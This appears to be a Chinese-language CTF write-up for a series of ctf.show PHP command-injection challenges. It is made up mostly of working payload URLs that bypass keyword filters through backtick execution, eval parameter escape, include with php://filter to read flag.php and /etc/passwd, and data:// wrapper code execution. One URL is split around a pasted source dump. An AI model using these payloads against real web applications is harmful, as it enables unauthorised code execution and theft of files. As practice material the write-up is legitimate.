过滤了flag php system
用``(反引号)代替system
用?代替flag和php(问号可以代表一个占位符)
http://11a60cc1-4545-447c-89ca-6bacc7271ebc.challenge.ctf.show/?c=`cp fla?.??? 1.txt`;
cp命令:
cp source target 将文件source复制为target
?c=`cp fla?.??? 1.txt`;
嵌套一个eval()执行
/?c=eval($_GET[1]);&1=phpinfo();
测试成功
相当于参数逃逸用c参数作为一个跳板传进去的值传入另外一个参数1就可以过滤对参数c的判断
?c=eval($_GET[1]);&1=system('ls');
查看文件
/?c=eval($_GET[1]);&1=system('cat flag.php');
发现是空白因为是php代码,查看源码
如果用tac就可以直接看到
/?c=eval($_GET[1]);&1=system(‘tac flag.php’);
使用文件包含
空格也被过滤用url编码绕过
分号可以用?>代替
%0a是换行符
/?c=include%0a$_GET[1]?>&1=/etc/passwd
/?c=include%0A$_GET[1]?>&1=flag.php
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密后得到:
http://53c68ec7-13cd-4973-90b2-ec4d39dff7b6.challenge.ctf.show/?c=in
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: [email protected]
# @link: https://ctfer.com
*/
$flag="ctfshow{2becc14a-2856-414b-a754-dec0d6448d9a}";
clude%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
多过滤了双引号
继续用web32的方法
/?c=include%0a$_GET[1]?>&1=/etc/passwd
发现可以执行
/?c=include%0A$_GET[1]?>&1=flag.php
利用php伪协议
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密后得到flag
ctfshow{bd6efc19-bc25-4402-8396-c93fb21cec72}
还有另外一种方法:
/?c=require%0a$_GET[1]?>&1=/etc/passwd
/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
括号被过滤掉
echo print isset unset include require不需要用括号
如果是用print那么phpinfo()是在数据端不是代码端
/?c=print%0a$_GET[1]?>&1=phpinfo();
如果用eval的话/?c=eval(%0a$_GET[1])?>&1=phpinfo();要使用括号但是括号已经被过滤了
所以我们用一下include包含系统文件
/?c=include%0a$_GET[1]?>&1=/etc/passwd
继续读取flag文件
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
解密得到flag
$flag="ctfshow{182443af-6a97-4927-b613-17e31e65afb2}";
多过滤了=和/不影响我们用上一个方法解
/?c=include%0a$_GET[1]?>&1=/etc/passwd
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
之后得到flag
不让用数字了
可以用字母把1换成a
/?c=include%0a$_GET[a]?>&a=/etc/passwd
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
解密后得到lfag
Flag在flag.php中
不能包含flag
先使用包含其他参数
/?c=$_GET[1]&1=flag.php
不行,因为$_GET[1]在数据端不是代码执行,只能包含这个字符串不能解析字符串
但是data伪协议可以
/?c=data://text/plain,
data伪协议吧后面的作为php代码执行
/?c=data://text/plain,
mv命令:
将文件移动走,或者改名,在Luinx下面没有改名的命令,如果想改名,要使用该命令
mv source target 将文件source更名为target
把php换成等于号
/?c=data://text/plain,=system("cp fl*.* 1.txt");?>
1.txt
直接用data协议和system
/?c=data://text/plain,=system("tac fla?.ph?");?>